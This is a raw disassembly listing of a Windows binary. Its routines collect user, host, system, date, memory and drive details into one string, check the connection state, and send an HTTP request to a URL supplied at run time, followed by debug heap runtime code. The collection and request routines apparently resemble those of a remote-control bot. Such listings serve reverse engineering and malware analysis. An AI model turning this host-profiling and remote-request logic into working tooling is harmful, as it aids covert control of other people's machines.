		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4E2FD8
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41BA67
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_41BA67:				; CODE XREF: sub_41B92C+12Cj
		push	[ebp+arg_4]
		call	sub_40AF71
		pop	ecx
		push	eax
		call	dword_4E3138	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E30B0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41BA90
		push	dword ptr [eax]
		jmp	short loc_41BA95
; ---------------------------------------------------------------------------

loc_41BA90:				; CODE XREF: sub_41B92C+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41BA95:				; CODE XREF: sub_41B92C+162j
		lea	eax, [ebp+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+FullPath]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_4F53D8	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_4F53D4	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_4F5468	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Drive]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_41759B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41B76F
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B870
		push	edx
		push	eax
		push	offset asc_4516D4 ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B92C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE0	proc near		; CODE XREF: sub_401CC7+278Dp
					; sub_401CC7+739Ep

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
Dest		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	dword_4E31E0, 0
		jnz	short loc_41BC4C
		push	0
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4E2FBC	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41BC35
		lea	eax, [ebp+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41BC35:				; CODE XREF: sub_41BBE0+40j
		test	[ebp+var_C], 1
		jz	short loc_41BC42
		push	offset aDialUp	; "Dial-up"
		jmp	short loc_41BC47
; ---------------------------------------------------------------------------

loc_41BC42:				; CODE XREF: sub_41BBE0+59j
		push	offset off_4517C8

loc_41BC47:				; CODE XREF: sub_41BBE0+60j
		lea	eax, [ebp+Dest]
		jmp	short loc_41BC67
; ---------------------------------------------------------------------------

loc_41BC4C:				; CODE XREF: sub_41BBE0+28j
		lea	eax, [ebp+Dest]
		push	offset aNA	; "N/A"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	offset aNA_0	; "N/A"

loc_41BC67:				; CODE XREF: sub_41BBE0+6Aj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset asc_4517D4 ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41BBE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCA2	proc near		; CODE XREF: sub_41B870:loc_41B878p
					; sub_41B870+1Cp
		rdtsc
		retn
sub_41BCA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCA5	proc near		; DATA XREF: sub_401CC7+77BDo

var_65C		= byte ptr -65Ch
var_55C		= dword	ptr -55Ch
var_35C		= dword	ptr -35Ch
Str		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
Dest		= byte ptr -1C8h
Dst		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
Source		= dword	ptr -38h
Count		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_451818
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Dest]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+var_C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	100h		; Size
		lea	eax, [ebp+var_65C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+Count], esi
		push	eax
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	dword_4E2FF4	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41BE3F
		cmp	[ebp+Count], ebx
		jbe	short loc_41BD7C
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_41BD7C:				; CODE XREF: sub_41BCA5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41BD9A
		push	[ebp+var_28]	; Count
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_41BD9A:				; CODE XREF: sub_41BCA5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41BDB4
		push	[ebp+var_20]	; Count
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_41BDB4:				; CODE XREF: sub_41BCA5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41BDCE
		push	[ebp+var_18]	; Count
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_41BDCE:				; CODE XREF: sub_41BCA5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_4E30A8
		call	dword_4E30CC	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BE57
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4E30C0	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41BE5E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4E306C	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41BE38
		push	offset dword_451894
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE38:				; CODE XREF: sub_41BCA5+18Aj
		push	offset unk_4518B0
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE3F:				; CODE XREF: sub_41BCA5+B7j
		lea	eax, [ebp+var_55C]
		push	offset asc_45181C ; "-"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41BE71
; ---------------------------------------------------------------------------

loc_41BE57:				; CODE XREF: sub_41BCA5+153j
		push	offset unk_451838
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE5E:				; CODE XREF: sub_41BCA5+17Bj
		push	offset asc_451864 ; "-"

loc_41BE63:				; CODE XREF: sub_41BCA5+191j
					; sub_41BCA5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41BE71:				; CODE XREF: sub_41BCA5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41BE9C
		push	ebx		; int
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]	; int
		push	eax		; int
		lea	eax, [ebp+var_258]
		push	eax		; Str
		push	[ebp+var_35C]	; int
		call	sub_409D34
		add	esp, 14h

loc_41BE9C:				; CODE XREF: sub_41BCA5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	esi
		call	dword_4E312C	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4E312C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41BCA5	endp ; sp-analysis failed

; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000BE BYTES: COLLAPSED FUNCTION __fclose_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION __malloc_dbg. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000005D BYTES: COLLAPSED FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+"	TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41C17D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000038 BYTES: COLLAPSED CHUNK OF FUNCTION __nh_malloc_dbg.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000313 BYTES: COLLAPSED FUNCTION __heap_alloc_dbg.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000024 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION __calloc_dbg. PRESS KEYPAD "+" TO	EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41C623. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000511 BYTES: COLLAPSED FUNCTION _realloc_help. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000024 BYTES: COLLAPSED FUNCTION __expand.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __expand_dbg. PRESS KEYPAD "+" TO	EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41CC03. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41CCE0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000052 BYTES: COLLAPSED FUNCTION __free_dbg. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41CCC2. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __free_dbg. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE0	proc near		; CODE XREF: .text:0041CC59p
					; __free_dbg+3Cp

Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518F0
		and	eax, 4
		test	eax, eax
		jz	short loc_41CD23

loc_41CCF3:				; CODE XREF: sub_41CCE0+41j
		call	sub_41D430
		test	eax, eax
		jnz	short loc_41CD1D
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0		; int
		push	402h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CD1D
		int	3		; Trap to Debugger

loc_41CD1D:				; CODE XREF: sub_41CCE0+1Aj
					; sub_41CCE0+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CCF3

loc_41CD23:				; CODE XREF: sub_41CCE0+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41CD2E
		jmp	loc_41D0C5
; ---------------------------------------------------------------------------

loc_41CD2E:				; CODE XREF: sub_41CCE0+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_451CC0	; Microsoft VisualC 2-8/net runtime
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CD78

loc_41CD4D:				; CODE XREF: sub_41CCE0+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CD6D
		int	3		; Trap to Debugger

loc_41CD6D:				; CODE XREF: sub_41CCE0+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CD4D
		jmp	loc_41D0C5
; ---------------------------------------------------------------------------

loc_41CD78:				; CODE XREF: sub_41CCE0+6Bj
					; sub_41CCE0+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D910
		add	esp, 4
		test	eax, eax
		jnz	short loc_41CDA9
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0		; int
		push	414h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CDA9
		int	3		; Trap to Debugger

loc_41CDA9:				; CODE XREF: sub_41CCE0+A6j
					; sub_41CCE0+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CD78
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+Dst], ecx

loc_41CDB8:				; CODE XREF: sub_41CCE0+12Fj
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41CE0B
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41CE0B
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41CE0B
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41CE0B
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0		; int
		push	41Ah		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CE0B
		int	3		; Trap to Debugger

loc_41CE0B:				; CODE XREF: sub_41CCE0+E6j
					; sub_41CCE0+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CDB8
		mov	eax, dword_4518F0
		and	eax, 4
		test	eax, eax
		jnz	loc_41CEE6
		push	4
		mov	cl, byte_4518FC
		push	ecx
		mov	edx, [ebp+Dst]
		add	edx, 1Ch
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE80

loc_41CE3D:				; CODE XREF: sub_41CCE0+19Ej
		mov	eax, [ebp+Dst]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+Dst]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_451900[ecx*4]
		push	edx		; char
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	1		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CE7A
		int	3		; Trap to Debugger

loc_41CE7A:				; CODE XREF: sub_41CCE0+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CE3D

loc_41CE80:				; CODE XREF: sub_41CCE0+15Bj
		push	4
		mov	cl, byte_4518FC
		push	ecx
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+Dst]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CEE6

loc_41CEA3:				; CODE XREF: sub_41CCE0+204j
		mov	eax, [ebp+Dst]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+Dst]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_451900[ecx*4]
		push	edx		; char
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	1		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CEE0
		int	3		; Trap to Debugger

loc_41CEE0:				; CODE XREF: sub_41CCE0+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CEA3

loc_41CEE6:				; CODE XREF: sub_41CCE0+13Bj
					; sub_41CCE0+1C1j
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41CF5B

loc_41CEEF:				; CODE XREF: sub_41CCE0+249j
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41CF04
		mov	eax, [ebp+Dst]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41CF25

loc_41CF04:				; CODE XREF: sub_41CCE0+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0		; int
		push	42Fh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CF25
		int	3		; Trap to Debugger

loc_41CF25:				; CODE XREF: sub_41CCE0+222j
					; sub_41CCE0+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CEEF
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_4518FD
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch
		mov	eax, [ebp+Dst]
		push	eax
		call	sub_423F30
		add	esp, 4
		jmp	loc_41D0C5
; ---------------------------------------------------------------------------

loc_41CF5B:				; CODE XREF: sub_41CCE0+20Dj
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_41CF71
		cmp	[ebp+arg_4], 1
		jnz	short loc_41CF71
		mov	[ebp+arg_4], 2

loc_41CF71:				; CODE XREF: sub_41CCE0+282j
					; sub_41CCE0+288j ...
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41CF9D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0		; int
		push	43Ch		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41CF9D
		int	3		; Trap to Debugger

loc_41CF9D:				; CODE XREF: sub_41CCE0+29Aj
					; sub_41CCE0+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CF71
		mov	edx, [ebp+Dst]
		mov	eax, dword_4F3500
		sub	eax, [edx+10h]
		mov	dword_4F3500, eax
		mov	ecx, dword_4518F0
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41D09C
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx], 0
		jz	short loc_41CFDC
		mov	eax, [ebp+Dst]
		mov	ecx, [eax]
		mov	edx, [ebp+Dst]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41D01A
; ---------------------------------------------------------------------------

loc_41CFDC:				; CODE XREF: sub_41CCE0+2EAj
					; sub_41CCE0+32Cj
		mov	ecx, dword_4F34F4
		cmp	ecx, [ebp+Dst]
		jz	short loc_41D008
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0		; int
		push	44Bh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D008
		int	3		; Trap to Debugger

loc_41D008:				; CODE XREF: sub_41CCE0+305j
					; sub_41CCE0+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CFDC
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+4]
		mov	dword_4F34F4, ecx

loc_41D01A:				; CODE XREF: sub_41CCE0+2FAj
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx+4], 0
		jz	short loc_41D032
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+4]
		mov	edx, [ebp+Dst]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41D06F
; ---------------------------------------------------------------------------

loc_41D032:				; CODE XREF: sub_41CCE0+341j
					; sub_41CCE0+382j
		mov	ecx, dword_4F34FC
		cmp	ecx, [ebp+Dst]
		jz	short loc_41D05E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0		; int
		push	455h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D05E
		int	3		; Trap to Debugger

loc_41D05E:				; CODE XREF: sub_41CCE0+35Bj
					; sub_41CCE0+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D032
		mov	eax, [ebp+Dst]
		mov	ecx, [eax]
		mov	dword_4F34FC, ecx

loc_41D06F:				; CODE XREF: sub_41CCE0+350j
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_4518FD
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch
		mov	eax, [ebp+Dst]
		push	eax
		call	sub_423F30
		add	esp, 4
		jmp	short loc_41D0C5
; ---------------------------------------------------------------------------

loc_41D09C:				; CODE XREF: sub_41CCE0+2DEj
		mov	ecx, [ebp+Dst]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_4518FD
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		add	edx, 20h
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch

loc_41D0C5:				; CODE XREF: sub_41CCE0+49j
					; sub_41CCE0+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CCE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41D0F0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0F0	proc near		; CODE XREF: .text:0041D0D9p
					; __onexit+11p	...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041D26C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C928
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi		; char
		mov	eax, dword_4518F0
		and	eax, 4
		test	eax, eax
		jz	short loc_41D14F

loc_41D11F:				; CODE XREF: sub_41D0F0+5Dj
		call	sub_41D430
		test	eax, eax
		jnz	short loc_41D149
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0		; int
		push	49Dh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D149
		int	3		; Trap to Debugger

loc_41D149:				; CODE XREF: sub_41D0F0+36j
					; sub_41D0F0+56j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D11F

loc_41D14F:				; CODE XREF: sub_41D0F0+2Dj
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0

loc_41D160:				; CODE XREF: sub_41D0F0+A5j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D910
		add	esp, 4
		test	eax, eax
		jnz	short loc_41D191
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0		; int
		push	4A9h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
